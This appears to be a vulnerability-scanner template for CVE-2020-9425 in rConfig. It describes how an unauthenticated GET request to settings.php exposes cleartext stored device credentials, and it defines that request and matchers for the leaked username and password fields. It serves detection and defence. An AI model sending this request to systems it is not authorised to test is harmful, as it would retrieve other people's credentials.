id: CVE-2020-9425 info: name: rConfig <3.9.4 - Sensitive Information Disclosure author: madrobot severity: high description: rConfig prior to version 3.9.4 is susceptible to sensitive information disclosure. An unauthenticated attacker can retrieve saved cleartext credentials via a GET request to settings.php. Because the application does not exit after a redirect is applied, the rest of the page still executes, resulting in the disclosure of cleartext credentials in the response. reference: - https://blog.hivint.com/rconfig-3-9-3-unauthenticated-sensitive-information-disclosure-ead4ed88f153 - https://github.com/rconfig/rconfig/commit/20f4e3d87e84663d922b937842fddd9af1b68dd9 - https://nvd.nist.gov/vuln/detail/CVE-2020-9425 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-9425 cwe-id: CWE-670 tags: cve,cve2020,rconfig.exposure requests: - method: GET path: - "{{BaseURL}}/settings.php" matchers-condition: and matchers: - type: word part: body words: - "defaultNodeUsername" - "defaultNodePassword" condition: and - type: status status: - 200 # Enhanced by mp on 2022/06/27